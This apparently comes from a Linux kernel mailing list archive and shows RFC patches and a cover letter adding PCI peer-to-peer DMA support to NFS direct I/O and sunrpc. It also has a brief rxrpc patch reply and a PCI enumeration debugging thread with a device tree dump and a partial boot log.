+++ b/fs/nfs/nfs4_fs.h
@@ -60,7 +60,7 @@ enum nfs4_client_state {
struct nfs_seqid_counter;
struct nfs4_minor_version_ops {
u32 minor_version;
- unsigned init_caps;
+ u64 init_caps;
int (*init_client)(struct nfs_client *);
void (*shutdown_client)(struct nfs_client *);
diff --git a/fs/nfs/super.c b/fs/nfs/super.c
index 7a318581f85b..b2de13a355df 100644
--- a/fs/nfs/super.c
+++ b/fs/nfs/super.c
@@ -672,7 +672,7 @@ int nfs_show_stats(struct seq_file *m, struct dentry *root)
show_implementation_id(m, nfss);
seq_puts(m, "\n\tcaps:\t");
- seq_printf(m, "caps=0x%x", nfss->caps);
+ seq_printf(m, "caps=0x%llx", nfss->caps);
seq_printf(m, ",wtmult=%u", nfss->wtmult);
seq_printf(m, ",dtsize=%u", nfss->dtsize);
seq_printf(m, ",bsize=%u", nfss->bsize);
diff --git a/include/linux/nfs_fs_sb.h b/include/linux/nfs_fs_sb.h
index 4daee27fa5eb..e66818c7a0b8 100644
--- a/include/linux/nfs_fs_sb.h
+++ b/include/linux/nfs_fs_sb.h
@@ -175,7 +175,7 @@ struct nfs_server {
#define NFS_AUTOMOUNT_INHERIT_RSIZE 0x0002
#define NFS_AUTOMOUNT_INHERIT_WSIZE 0x0004
- unsigned int caps; /* server capabilities */
+ __u64 caps; /* server capabilities */
__u64 fattr_valid; /* Valid attributes */
unsigned int rsize; /* read size */
unsigned int rpages; /* read size (in pages) */
@@ -299,36 +299,37 @@ struct nfs_server {
};
/* Server capabilities */
-#define NFS_CAP_READDIRPLUS (1U << 0)
-#define NFS_CAP_HARDLINKS (1U << 1)
-#define NFS_CAP_SYMLINKS (1U << 2)
-#define NFS_CAP_ACLS (1U << 3)
-#define NFS_CAP_ATOMIC_OPEN (1U << 4)
-#define NFS_CAP_LGOPEN (1U << 5)
-#define NFS_CAP_CASE_INSENSITIVE (1U << 6)
-#define NFS_CAP_CASE_PRESERVING (1U << 7)
-#define NFS_CAP_REBOOT_LAYOUTRETURN (1U << 8)
-#define NFS_CAP_OFFLOAD_STATUS (1U << 9)
-#define NFS_CAP_ZERO_RANGE (1U << 10)
-#define NFS_CAP_DIR_DELEG (1U << 11)
-#define NFS_CAP_OPEN_XOR (1U << 12)
-#define NFS_CAP_DELEGTIME (1U << 13)
-#define NFS_CAP_POSIX_LOCK (1U << 14)
-#define NFS_CAP_UIDGID_NOMAP (1U << 15)
-#define NFS_CAP_STATEID_NFSV41 (1U << 16)
-#define NFS_CAP_ATOMIC_OPEN_V1 (1U << 17)
-#define NFS_CAP_SECURITY_LABEL (1U << 18)
-#define NFS_CAP_SEEK (1U << 19)
-#define NFS_CAP_ALLOCATE (1U << 20)
-#define NFS_CAP_DEALLOCATE (1U << 21)
-#define NFS_CAP_LAYOUTSTATS (1U << 22)
-#define NFS_CAP_CLONE (1U << 23)
-#define NFS_CAP_COPY (1U << 24)
-#define NFS_CAP_OFFLOAD_CANCEL (1U << 25)
-#define NFS_CAP_LAYOUTERROR (1U << 26)
-#define NFS_CAP_COPY_NOTIFY (1U << 27)
-#define NFS_CAP_XATTR (1U << 28)
-#define NFS_CAP_READ_PLUS (1U << 29)
-#define NFS_CAP_FS_LOCATIONS (1U << 30)
-#define NFS_CAP_MOVEABLE (1U << 31)
+#define NFS_CAP_READDIRPLUS (1ULL << 0)
+#define NFS_CAP_HARDLINKS (1ULL << 1)
+#define NFS_CAP_SYMLINKS (1ULL << 2)
+#define NFS_CAP_ACLS (1ULL << 3)
+#define NFS_CAP_ATOMIC_OPEN (1ULL << 4)
+#define NFS_CAP_LGOPEN (1ULL << 5)
+#define NFS_CAP_CASE_INSENSITIVE (1ULL << 6)
+#define NFS_CAP_CASE_PRESERVING (1ULL << 7)
+#define NFS_CAP_REBOOT_LAYOUTRETURN (1ULL << 8)
+#define NFS_CAP_OFFLOAD_STATUS (1ULL << 9)
+#define NFS_CAP_ZERO_RANGE (1ULL << 10)
+#define NFS_CAP_DIR_DELEG (1ULL << 11)
+#define NFS_CAP_OPEN_XOR (1ULL << 12)
+#define NFS_CAP_DELEGTIME (1ULL << 13)
+#define NFS_CAP_POSIX_LOCK (1ULL << 14)
+#define NFS_CAP_UIDGID_NOMAP (1ULL << 15)
+#define NFS_CAP_STATEID_NFSV41 (1ULL << 16)
+#define NFS_CAP_ATOMIC_OPEN_V1 (1ULL << 17)
+#define NFS_CAP_SECURITY_LABEL (1ULL << 18)
+#define NFS_CAP_SEEK (1ULL << 19)
+#define NFS_CAP_ALLOCATE (1ULL << 20)
+#define NFS_CAP_DEALLOCATE (1ULL << 21)
+#define NFS_CAP_LAYOUTSTATS (1ULL << 22)
+#define NFS_CAP_CLONE (1ULL << 23)
+#define NFS_CAP_COPY (1ULL << 24)
+#define NFS_CAP_OFFLOAD_CANCEL (1ULL << 25)
+#define NFS_CAP_LAYOUTERROR (1ULL << 26)
+#define NFS_CAP_COPY_NOTIFY (1ULL << 27)
+#define NFS_CAP_XATTR (1ULL << 28)
+#define NFS_CAP_READ_PLUS (1ULL << 29)
+#define NFS_CAP_FS_LOCATIONS (1ULL << 30)
+#define NFS_CAP_MOVEABLE (1ULL << 31)
+#define NFS_CAP_P2PDMA (1ULL << 32)
#endif
--
2.53.0.1185.g05d4b7b318-goog
^ permalink raw reply related
* [RFC PATCH 1/4] sunrpc: add supports_p2pdma to rpc_xprt_ops
From: Pranjal Shrivastava @ 2026-04-01 19:44 UTC (permalink / raw)
To: trond.myklebust, anna
Cc: davem, kuba, edumazet, pabeni, chuck.lever, jlayton, tom,
okorniev, neil, dai.ngo, linux-nfs, netdev, Pranjal Shrivastava
In-Reply-To: <20260401194501.2269200-1-praan@google.com>
Add a new transport op, supports_p2pdma, to allow upper layers (such as
NFS) to query whether the underlying RPC transport supports PCI
Peer-to-Peer DMA (P2PDMA).
Since the capability is hardware-dependent. For the RDMA transport,
implement this by querying the underlying InfiniBand device via
ib_dma_pci_p2p_dma_supported() to ensures that P2PDMA is only
attempted when both the transport and the HCA drivers support it.
Signed-off-by: Pranjal Shrivastava <praan@google.com>
---
include/linux/sunrpc/xprt.h | 1 +
net/sunrpc/xprtrdma/transport.c | 9 +++++++++
2 files changed, 10 insertions(+)
diff --git a/include/linux/sunrpc/xprt.h b/include/linux/sunrpc/xprt.h
index f46d1fb8f71a..e451acd2e047 100644
--- a/include/linux/sunrpc/xprt.h
+++ b/include/linux/sunrpc/xprt.h
@@ -187,6 +187,7 @@ struct rpc_xprt_ops {
void (*bc_free_rqst)(struct rpc_rqst *rqst);
void (*bc_destroy)(struct rpc_xprt *xprt,
unsigned int max_reqs);
+ bool (*supports_p2pdma)(struct rpc_xprt *xprt);
};
/*
diff --git a/net/sunrpc/xprtrdma/transport.c b/net/sunrpc/xprtrdma/transport.c
index 9a8ce5df83ca..1c1714189a29 100644
--- a/net/sunrpc/xprtrdma/transport.c
+++ b/net/sunrpc/xprtrdma/transport.c
@@ -717,6 +717,14 @@ xprt_rdma_disable_swap(struct rpc_xprt *xprt)
{
}
+static bool
+xprt_rdma_supports_p2pdma(struct rpc_xprt *xprt)
+{
+ struct rpcrdma_xprt *r_xprt = rpcx_to_rdmax(xprt);
+
+ return ib_dma_pci_p2p_dma_supported(r_xprt->rx_ep->re_id->device);
+}
+
/*
* Plumbing for rpc transport switch and kernel module
*/
@@ -742,6 +750,7 @@ static const struct rpc_xprt_ops xprt_rdma_procs = {
.enable_swap = xprt_rdma_enable_swap,
.disable_swap = xprt_rdma_disable_swap,
.inject_disconnect = xprt_rdma_inject_disconnect,
+ .supports_p2pdma = xprt_rdma_supports_p2pdma,
#if defined(CONFIG_SUNRPC_BACKCHANNEL)
.bc_setup = xprt_rdma_bc_setup,
.bc_maxpayload = xprt_rdma_bc_maxpayload,
--
2.53.0.1185.g05d4b7b318-goog
^ permalink raw reply related
* [RFC PATCH 0/4] nfs: Enable PCI Peer-to-Peer DMA (P2PDMA) support
From: Pranjal Shrivastava @ 2026-04-01 19:44 UTC (permalink / raw)
To: trond.myklebust, anna
Cc: davem, kuba, edumazet, pabeni, chuck.lever, jlayton, tom,
okorniev, neil, dai.ngo, linux-nfs, netdev, Pranjal Shrivastava
As high-performance storage environments increasingly rely on direct
data movement between PCIe endpoints (e.g., moving data directly between
an NVMe Controller Memory Buffer and a Network Interface), support for
Peer-to-Peer DMA (P2PDMA) in the network filesystem layer becomes
essential. This series introduces P2PDMA support for the NFS Direct I/O.
Currently, NFS O_DIRECT operations fail with -EREMOTEIO if the user
buffer resides in PCIe BAR memory. This is primarily due to the use of
the legacy `iov_iter_get_pages_alloc2()` API, which cannot pass the
required `FOLL_PCI_P2PDMA` flag, and a request lifecycle that is unaware
of the pinning requirements for P2P memory.
Design
=======
The proposed design centers around making the NFS request lifecycle
"pin-aware" and upgrading the infrastructure to support modern memory
extraction APIs.
1. 64-bit Capability Infrastructure
The existing nfs_server->caps bitmask is limited to 32 bits and is
currently exhausted. This series expands the bitmask to 64 bits to
accommodate NFS_CAP_P2PDMA. Crucially, it also refactors the NFS_CAP_*
constants to use ULL definitions. This prevents a subtle 32-bit
truncation bug where bitwise negations (e.g., caps &= ~NFS_CAP_ACLS)
would accidentally clear the high bits of the 64-bit capability field.
2. Transport-Level Detection
P2PDMA support is a property of the local transport hardware. A new
supports_p2pdma operation is added to the SunRPC transport ops. For RDMA,
this is implemented by querying the underlying device via
ib_dma_pci_p2p_dma_supported(). The NFS client queries this during mount
and sets the NFS_CAP_P2PDMA bit accordingly.
3. Pin-Aware Request Lifecycle
Standard NFS requests use get_page() and put_page() for memory
management. However, memory extracted via iov_iter_extract_pages()
requires explicit pinning and unpinning (unpin_user_page()).
This series introduces a PG_PINNED flag in struct nfs_page. When set,
the request lifecycle skips standard page referencing and ensures that
unpin_user_page() is called only when the I/O is complete. This ensures
that physical memory remains pinned for the duration of the DMA transfer
4. API Migration
The Direct I/O path is migrated to the modern iov_iter_extract_pages()
API. The ITER_ALLOW_P2PDMA flag is passed to the iterator only when the
local mount has signaled P2P support via the capability bit. This ensures
that "normal" users on standard TCP/UDP transports see no change in
behavior or overhead.
Call for review
===============
Any insights on the proposed changes to the nfs_page lifecycle and the
64-bit capability expansion are appreciated. If this approach is deemed
incorrect or if there is a more idiomatic way for this, please direct me
in the right direction.
Thanks,
Praan
Pranjal Shrivastava (4):
sunrpc: add supports_p2pdma to rpc_xprt_ops
nfs: add NFS_CAP_P2PDMA and detect transport support
nfs: make nfs_page pin-aware
nfs: allow P2PDMA in direct I/O path
fs/nfs/client.c | 8 ++++
fs/nfs/direct.c | 51 ++++++++++++++++++-------
fs/nfs/nfs4_fs.h | 2 +-
fs/nfs/pagelist.c | 18 ++++++---
fs/nfs/super.c | 2 +-
include/linux/nfs_fs_sb.h | 67 +++++++++++++++++----------------
include/linux/nfs_page.h | 2 +
include/linux/sunrpc/xprt.h | 1 +
net/sunrpc/xprtrdma/transport.c | 9 +++++
9 files changed, 106 insertions(+), 54 deletions(-)
--
2.53.0.1185.g05d4b7b318-goog
^ permalink raw reply
* Re: [PATCH net v4 15/15] rxrpc: fix reference count leak in rxrpc_server_keyring()
From: David Howells @ 2026-04-01 19:32 UTC (permalink / raw)
To: Anderson Nascimento
Cc: dhowells, netdev, Marc Dionne, Jakub Kicinski, David S. Miller,
Eric Dumazet, Paolo Abeni, linux-afs, linux-kernel, Luxiao Xu,
Yifan Wu, Juefei Pu, Yuan Tan, Xin Liu, Ren Wei, Ren Wei,
Simon Horman, stable
In-Reply-To: <aa7aeb86-2430-4c67-9d5d-bb27ad037865@allelesecurity.com>
Anderson Nascimento <anderson@allelesecurity.com> wrote:
> Isn't this the same issue addressed by my patch "[PATCH net v4 08/15] rxrpc:
> Fix keyring reference count leak in rxrpc_setsockopt()"? Just asking to make
> sure this is intended.
Actually, yes. This is a different way to fix the same bug, so I'm happy to
drop it from the series in preference to yours.
David
^ permalink raw reply
* Re: clarification: PCI device not getting enumerated
From: Bjorn Helgaas @ 2026-04-01 19:32 UTC (permalink / raw)
To: Ratheesh Kannoth, Vidya Sagar; +Cc: bhelgaas, netdev, linux-kernel, linux-pci
In-Reply-To: <abojekUtFrMxM1RB@rkannoth-OptiPlex-7090>
[+to Vidya, any thoughts on this?]
On Wed, Mar 18, 2026 at 09:30:58AM +0530, Ratheesh Kannoth wrote:
> On 2026-03-18 at 02:36:40, Bjorn Helgaas (helgaas@kernel.org) wrote:
> > On Tue, Mar 17, 2026 at 03:49:07PM +0530, Ratheesh Kannoth wrote:
> > > Hi,
> > >
> > > Below commit breaks PCI enumeration of a marvell PCI endpoint (177d:a0e2).
> > > I am not familiar with PCI code, could you please help in debugging/fixing this ?
> > >
> > > Before the commit, the kernel set PCI_REASSIGN_ALL_BUS. So pcibios_assign_all_busses() was true,
> > > and in pci_scan_bridge_extend() the kernel took the “reassign” path and used EA
> > > (and pci_ea_fixed_busnrs()) to assign bus numbers.
> > >
> > > commit 7246a4520b4bf1494d7d030166a11b5226f6d508
> > > Author: Vidya Sagar <vidyas@nvidia.com>
> > > Date: Wed May 8 23:11:38 2024 +0530
> > >
> > > PCI: Use preserve_config in place of pci_flags
> > >
> > > Use preserve_config in place of checking for PCI_PROBE_ONLY flag to enable
> > > support for "linux,pci-probe-only" on a per host bridge basis.
> > >
> > > This also obviates the use of adding PCI_REASSIGN_ALL_BUS flag if
> > > !PCI_PROBE_ONLY, as pci_assign_unassigned_root_bus_resources() takes care
> > > of reassigning the resources that are not already claimed.
> >
> > This commit appeared in v6.11. Apparently on v6.6, 0002:1b:00.0 is
> > detected, and in the v6.12 dmesg below, we don't enumerate it.
> > It looks like 7246a4520b4b can still be reverted cleanly from
> > v7.0-rc1. Can you collect the complete dmesg logs from v7.0-rc1
> > (where I assume we won't see 0002:1b:00.0) and from v7.0-rc1 with
> > 7246a4520b4b reverted (where I assume we *will* see it) and output of
> > "sudo lspci -vv"? Use the same kernel config and DT for both, of
> > course.
> Please find dmesg, lspci -vv and device tree output for v7.0-rc1 and v7.0-rc1 with patch reverted
> at bottom of this email. Used same kernel config and DT for both.
>
> >
> > I don't understand some of the v6.12 dmesg log:
> >
> > 3.187193] pci-host-generic 878000000000.pci: Memory resource size exceeds max for 32 bits
> > 3.313087] pci 0000:00:01.0: PCI bridge to [bus 01] (subtractive decode)
> > 3.319878] pci 0000:00:01.0: bridge window [mem 0x00000000-0x000fffff]
> > 3.723673] pci 0000:01:00.0: [177d:a075] type 00 class 0x088000 PCIe Endpoint
> > 3.730924] pci 0000:01:00.0: BAR 0 [mem 0x87e0fc000000-0x87e0fc03ffff 64bit]: from Enhanced Allocation, properties 0x0
> > 3.741710] pci 0000:01:00.0: BAR 4 [mem 0x87e0fcf00000-0x87e0fcffffff 64bit]: from Enhanced Allocation, properties 0x0
> >
> > 3.448655] pci 0000:00:0c.0: PCI bridge to [bus 02] (subtractive decode)
> > 3.455454] pci 0000:00:0c.0: bridge window [mem 0x00000000-0x000fffff]
> > 4.425308] pci 0000:02:00.0: [177d:a075] type 00 class 0x088000 PCIe Endpoint
> > 4.432561] pci 0000:02:00.0: BAR 0 [mem 0x87e0f9000000-0x87e0f903ffff 64bit]: from Enhanced Allocation, properties 0x0
> >
> > 5.744082] pci-host-generic 878020000000.pci: Memory resource size exceeds max for 32 bits
> > 5.799532] pci 0002:00:00.0: PCI bridge to [bus fa] (subtractive decode)
> > 5.806322] pci 0002:00:00.0: bridge window [mem 0x00000000-0x000fffff]
> > 5.820632] pci 0002:00:01.0: PCI bridge to [bus fb] (subtractive decode)
> > 5.827423] pci 0002:00:01.0: bridge window [mem 0x00000000-0x000fffff]
> >
> > - The "Memory resource size exceeds max for 32 bits" warnings are
> > interesting. Is this a DT error?
> I dont see any errors as such. Could you guide me how to locate this issue, or suggest any command to check
> the same.
>
> >
> > - There should only be one subtractive decode bridge per segment, but
> > there are many here.
> >
> > - Most of the bridge windows look uninitialized ([mem
> > 0x00000000-0x000fffff]), and we don't seem to reassign them, so BARs
> > of the downstream devices shouldn't be reachable.
> >
> > - Interesting to see so much "Enhanced Allocation"; that's very
> > unusual.
> >
> > - I guess your DT must have "linux,pci-probe-only"; seems like that
> No.
>
> +++ fdt dump from uboot +++
>
> crb106-pcie> fdt print /soc/pci@878020000000
> pci@878020000000 {
> compatible = "pci-host-ecam-generic";
> device_type = "pci";
> msi-map = <0x00000000 0x00000037 0x00020000 0x00010000>;
> bus-range = <0x00000000 0x000000ff>;
> #size-cells = <0x00000002>;
> #address-cells = <0x00000003>;
> dma-coherent;
> linux,pci-domain = <0x00000002>;
> reg = <0x00008780 0x20000000 0x00000000 0x10000000>;
> iommu-map = <0x00000000 0x00000039 0x00020000 0x00010000>;
> ranges = <0x03000000 0x00008400 0x00000000 0x00008400 0x00000000 0x000001f5 0x00000000 0x03000000 0x00000009 0xfc000000 0x00000009 0xfc000000 0x00000000 0x03040000>;
> phandle = <0x0000012c>;
> rvu-admin@0 {
> num-rvu-vfs = <0x00000010>;
> num-msix-vec = <0x00000026>;
> };
> rvu-sso-tim@0 {
> num-rvu-vfs = <0x00000004>;
> num-msix-vec = <0x00000400>;
> };
> rvu-npa@0 {
> num-rvu-vfs = <0x00000008>;
> num-msix-vec = <0x00000080>;
> provision-mode = "AVAILABLE";
> };
> rvu-ipsec@0 {
> num-rvu-vfs = <0x00000008>;
> num-msix-vec = <0x000000d2>;
> };
> rvu-sdp@0 {
> num-rvu-vfs = <0x00000009>;
> num-msix-vec = <0x000000d2>;
> provision-mode = "AVAILABLE";
> pf-srn = <0x00000000>;
> num-rvu-pf-rings = <0x00000000>;
> num-sdp-pfs = <0x00000001>;
> num-sdp-vfs = <0x00000008>;
> num-sdp-pf-rings = <0x00000008>;
> num-sdp-vf-rings = <0x00000008>;
> };
>
> rvu-cpt@0 {
> num-rvu-vfs = <0x00000040>;
> num-msix-vec = <0x000000c3>;
> };
> };
>
> > might be something we should mention in dmesg for debugging
> > purposes.
>
> > Can you collect the complete dmesg logs from v7.0-rc1
> > (where I assume we won't see 0002:1b:00.0) and from v7.0-rc1 with
> > 7246a4520b4b reverted (where I assume we *will* see it) and output of
> > "sudo lspci -vv"? Use the same kernel config and DT for both, of
> > course.
>
> ++++ v7.0-rc1 +++++++++++
>
> Starting kernel ...
>
> [ 0.000000] Booting Linux on physical CPU 0x0000000000 [0x410fd490]
> [ 0.000000] Linux version 7.0.0-rc1 (rkannoth@rkannoth-OptiPlex-7090) (aarch64-marvell-linux-gnu-gcc (Marvell Inc. Version: Marvell GCC12 build 12006.0) 12.2.0, GNU ld (Marvell6
> [ 0.000000] KASLR enabled
> [ 0.000000] Machine model: Marvell CN106XX board
> [ 0.000000] earlycon: pl11 at MMIO 0x000087e028000000 (options '')
> [ 0.000000] printk: legacy bootconsole [pl11] enabled
> [ 0.000000] efi: UEFI not found.
> [ 0.000000] OF: reserved mem: 0x0000000020060000..0x000000002007c0ff (112 KiB) nomap non-reusable pci-console-nexus
> [ 0.000000] OF: reserved mem: 0x00000009fbf00000..0x00000009fbffffff (1024 KiB) nomap non-reusable ghes-hest@00000009fbf00000
> [ 0.000000] OF: reserved mem: 0x00000009f7b00000..0x00000009fbefffff (69632 KiB) nomap non-reusable pem0-rsvd-mem@00000009f7b00000
> [ 0.000000] OF: reserved mem: 0x00000009f7afe000..0x00000009f7afffff (8 KiB) nomap non-reusable ghes-bert@00000009f7afe000
> [ 0.000000] NODE_DATA(0) allocated [mem 0x9f2ab4980-0x9f2ab6fff]
> [ 0.000000] cma: Reserved 32 MiB at 0x00000000fe000000
> [ 0.000000] psci: probing for conduit method from DT.
> [ 0.000000] psci: PSCIv1.1 detected in firmware.
> [ 0.000000] psci: Using standard PSCI v0.2 function IDs
> [ 0.000000] psci: Trusted OS resident on physical CPU 0x0
> [ 0.000000] psci: SMC Calling Convention v1.2
> [ 0.000000] Zone ranges:
> [ 0.000000] DMA [mem 0x0000000004000000-0x00000000ffffffff]
> [ 0.000000] DMA32 empty
> [ 0.000000] Normal [mem 0x0000000100000000-0x00000009f7afdfff]
> [ 0.000000] Movable zone start for each node
> [ 0.000000] Early memory node ranges
> [ 0.000000] node 0: [mem 0x0000000004000000-0x000000002005ffff]
> [ 0.000000] node 0: [mem 0x0000000020060000-0x000000002007bfff]
> [ 0.000000] node 0: [mem 0x000000002007d000-0x00000009f7afdfff]
> [ 0.000000] Initmem setup node 0 [mem 0x0000000004000000-0x00000009f7afdfff]
> [ 0.000000] On node 0, zone DMA: 16384 pages in unavailable ranges
> [ 0.000000] On node 0, zone DMA: 1 pages in unavailable ranges
> [ 0.000000] On node 0, zone Normal: 1282 pages in unavailable ranges
> [ 0.000000] percpu: Embedded 25 pages/cpu s62872 r8192 d31336 u102400
> [ 0.000000] pcpu-alloc: s62872 r8192 d31336 u102400 alloc=25*4096
> [ 0.000000] pcpu-alloc: [0] 00 [0] 01 [0] 02 [0] 03 [0] 04 [0] 05 [0] 06 [0] 07
> [ 0.000000] pcpu-alloc: [0] 08 [0] 09 [0] 10 [0] 11 [0] 12 [0] 13 [0] 14 [0] 15
> [ 0.000000] pcpu-alloc: [0] 16 [0] 17 [0] 18 [0] 19 [0] 20 [0] 21 [0] 22 [0] 23
> [ 0.000000] Detected PIPT I-cache on CPU0
> [ 0.000000] CPU features: detected: Address authentication (architected QARMA5 algorithm)
> [ 0.000000] CPU features: detected: GICv3 CPU interface
> [ 0.000000] CPU features: detected: Virtualization Host Extensions
> [ 0.000000] CPU features: detected: Spectre-v4
> [ 0.000000] CPU features: detected: Spectre-BHB
> [ 0.000000] CPU features: detected: ARM erratum 2067961 or 2054223
> [ 0.000000] CPU features: detected: SSBS not fully self-synchronizing
> [ 0.000000] alternatives: applying boot alternatives
> [ 0.000000] Kernel command line: console=ttyAMA0,115200n8 earlycon=pl011,0x87e028000000 debug maxcpus=4 rootwait rw rw root=/dev/nfs nfsroot=10.29.36.51:/nfsshare/ubuntu-rootfsM
> [ 0.000000] random: crng init done
> [ 0.000000] printk: log_buf_len individual max cpu contribution: 4096 bytes
> [ 0.000000] printk: log_buf_len total cpu_extra contributions: 94208 bytes
> [ 0.000000] printk: log_buf_len min size: 131072 bytes
> [ 0.000000] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes
> [ 0.000000] printk: early log buf free: 127592(97%)
> [ 0.000000] Dentry cache hash table entries: 8388608 (order: 14, 67108864 bytes, linear)
> [ 0.000000] Inode-cache hash table entries: 4194304 (order: 13, 33554432 bytes, linear)
> [ 0.000000] software IO TLB: area num 32.
> [ 0.000000] software IO TLB: mapped [mem 0x00000000fa000000-0x00000000fe000000] (64MB)
> [ 0.000000] Fallback order for Node 0: 0
> [ 0.000000] Built 1 zonelists, mobility grouping on. Total pages: 10435325
> [ 0.000000] Policy zone: Normal
> [ 0.000000] mem auto-init: stack:off, heap alloc:off, heap free:off
> [ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=24, Nodes=1
> [ 0.000000] rcu: Preemptible hierarchical RCU implementation.
> [ 0.000000] rcu: RCU event tracing is enabled.
> [ 0.000000] rcu: RCU restricting CPUs from NR_CPUS=256 to nr_cpu_ids=24.
> [ 0.000000] Trampoline variant of Tasks RCU enabled.
> [ 0.000000] Tracing variant of Tasks RCU enabled.
> [ 0.000000] rcu: RCU calculated value of scheduler-enlistment delay is 25 jiffies.
> [ 0.000000] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=24
> [ 0.000000] RCU Tasks: Setting shift to 5 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=24.
> [ 0.000000] NR_IRQS: 64, nr_irqs: 64, preallocated irqs: 0
> [ 0.000000] GICv3: GIC: Using split EOI/Deactivate mode
> [ 0.000000] GIC: enabling workaround for GICv3: ARM64 erratum 2941627
> [ 0.000000] GICv3: 512 SPIs implemented
> [ 0.000000] GICv3: 0 Extended SPIs implemented
> [ 0.000000] Root IRQ handler: gic_handle_irq
> [ 0.000000] GICv3: GICv3 features: 48 PPIs, DirectLPI
> [ 0.000000] GICv3: GICv4 features: DirectLPI RVPEID Valid+Dirty
> [ 0.000000] GICv3: GICD_CTLR.DS=0, SCR_EL3.FIQ=1
> [ 0.000000] GICv3: CPU0: found redistributor 0 region 0:0x0000801000300000
> [ 0.000000] ITS [mem 0x801000040000-0x80100007ffff]
> [ 0.000000] ITS@0x0000801000040000: Single VMOVP capable
> [ 0.000000] ITS@0x0000801000040000: Using GICv4.1 mode 00000000 00000001
> [ 0.000000] ITS@0x0000801000040000: allocated 8192 Devices @100190000 (indirect, esz 8, psz 64K, shr 1)
> [ 0.000000] ITS@0x0000801000040000: allocated 32768 Interrupt Collections @1001a0000 (flat, esz 2, psz 64K, shr 1)
> [ 0.000000] ITS@0x0000801000040000: allocated 8192 Virtual CPUs @1001b0000 (flat, esz 8, psz 64K, shr 1)
> [ 0.000000] GICv3: using LPI property table @0x00000001001c0000
> [ 0.000000] ITS: Using DirectLPI for VPE invalidation
> [ 0.000000] ITS: Enabling GICv4 support
> [ 0.000000] GICv3: CPU0: using allocated LPI pending table @0x00000001001d0000
> [ 0.000000] rcu: srcu_init: Setting srcu_struct sizes based on contention.
> [ 0.000000] arch_timer: cp15 timer running at 1000.00MHz (phys).
> [ 0.000000] clocksource: arch_sys_counter: mask: 0x1fffffffffffffff max_cycles: 0x1cd42e4dffb, max_idle_ns: 881590591483 ns
> [ 0.000000] sched_clock: 61 bits at 1000MHz, resolution 1ns, wraps every 4398046511103ns
> [ 0.008821] Console: colour dummy device 80x25
> [ 0.013411] Calibrating delay loop (skipped), value calculated using timer frequency.. 2000.00 BogoMIPS (lpj=4000000)
> [ 0.024296] pid_max: default: 32768 minimum: 301
> [ 0.029146] Mount-cache hash table entries: 131072 (order: 8, 1048576 bytes, linear)
> [ 0.037123] Mountpoint-cache hash table entries: 131072 (order: 8, 1048576 bytes, linear)
> [ 0.045612] VFS: Finished mounting rootfs on nullfs
> [ 0.051823] rcu: Hierarchical SRCU implementation.
> [ 0.056737] rcu: Max phase no-delay instances is 1000.
> [ 0.062122] Timer migration: 2 hierarchy levels; 8 children per group; 2 crossnode level
> [ 0.071101] EFI services will not be available.
> [ 0.075903] smp: Bringing up secondary CPUs ...
> [ 0.080705] Detected PIPT I-cache on CPU1
> [ 0.080825] GICv3: CPU1: found redistributor 10000 region 0:0x0000801000400000
> [ 0.080832] GICv3: CPU1: using allocated LPI pending table @0x00000001001e0000
> [ 0.080846] CPU1: Booted secondary processor 0x0000010000 [0x410fd490]
> [ 0.081036] Detected PIPT I-cache on CPU2
> [ 0.081149] GICv3: CPU2: found redistributor 20000 region 0:0x00008010002c0000
> [ 0.081157] GICv3: CPU2: using allocated LPI pending table @0x00000001001f0000
> [ 0.081175] CPU2: Booted secondary processor 0x0000020000 [0x410fd490]
> [ 0.081350] Detected PIPT I-cache on CPU3
> [ 0.081463] GICv3: CPU3: found redistributor 30000 region 0:0x00008010003c0000
> [ 0.081471] GICv3: CPU3: using allocated LPI pending table @0x0000000100200000
> [ 0.081487] CPU3: Booted secondary processor 0x0000030000 [0x410fd490]
> [ 0.081541] smp: Brought up 1 node, 4 CPUs
> [ 0.162556] SMP: Total of 4 processors activated.
> [ 0.167382] CPU: All CPU(s) started at EL2
> [ 0.171581] CPU features: detected: Branch Target Identification
> [ 0.177743] CPU features: detected: 32-bit EL0 Support
> [ 0.183014] CPU features: detected: ARMv8.4 Translation Table Level
> [ 0.189438] CPU features: detected: Instruction cache invalidation not required for I/D coherence
> [ 0.198544] CPU features: detected: Data cache clean to the PoU not required for I/D coherence
> [ 0.207378] CPU features: detected: Common not Private translations
> [ 0.213810] CPU features: detected: CRC32 instructions
> [ 0.219072] CPU features: detected: Data independent timing control (DIT)
> [ 0.226036] CPU features: detected: E0PD
> [ 0.230055] CPU features: detected: Enhanced Virtualization Traps
> [ 0.236305] CPU features: detected: Generic authentication (architected QARMA5 algorithm)
> [ 0.244693] CPU features: detected: RCpc load-acquire (LDAPR)
> [ 0.250579] CPU features: detected: LSE atomic instructions
> [ 0.256298] CPU features: detected: Privileged Access Never
> [ 0.262009] CPU features: detected: PMUv3
> [ 0.266115] CPU features: detected: RAS Extension Support
> [ 0.271643] CPU features: detected: RASv1p1 Extension Support
> [ 0.277537] CPU features: detected: Random Number Generator
> [ 0.283249] CPU features: detected: Speculation barrier (SB)
> [ 0.289049] CPU features: detected: Stage-2 Force Write-Back
> [ 0.294851] CPU features: detected: TLB range maintenance instructions
> [ 0.301545] CPU features: detected: XNX
> [ 0.305469] CPU features: detected: Memory Partitioning And Monitoring
> [ 0.312160] CPU features: detected: Memory Partitioning And Monitoring Virtualisation
> [ 0.320195] CPU features: detected: Speculative Store Bypassing Safe (SSBS)
> [ 0.327332] CPU features: detected: Scalable Vector Extension
> [ 0.333236] alternatives: applying system-wide alternatives
> [ 0.341074] CPU features: detected: Activity Monitors Unit (AMU) on CPU0-3
> [ 0.348128] CPU features: detected: ICV_DIR_EL1 trapping
> [ 0.353568] CPU features: detected: Hardware dirty bit management on CPU0-3
> [ 0.360714] SVE: maximum available vector length 16 bytes per vector
> [ 0.367227] SVE: default vector length 16 bytes per vector
> [ 0.372947] Memory: 40751340K/41741300K available (18816K kernel code, 3702K rwdata, 11160K rodata, 9856K init, 547K bss, 948376K reserved, 32768K cma-reserved)
> [ 0.388402] devtmpfs: initialized
> [ 0.395182] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
> [ 0.405188] posixtimers hash table entries: 16384 (order: 6, 262144 bytes, linear)
> [ 0.413055] futex hash table entries: 8192 (524288 bytes on 1 NUMA nodes, total 512 KiB, linear).
> [ 0.422254] 2G module region forced by RANDOMIZE_MODULE_REGION_FULL
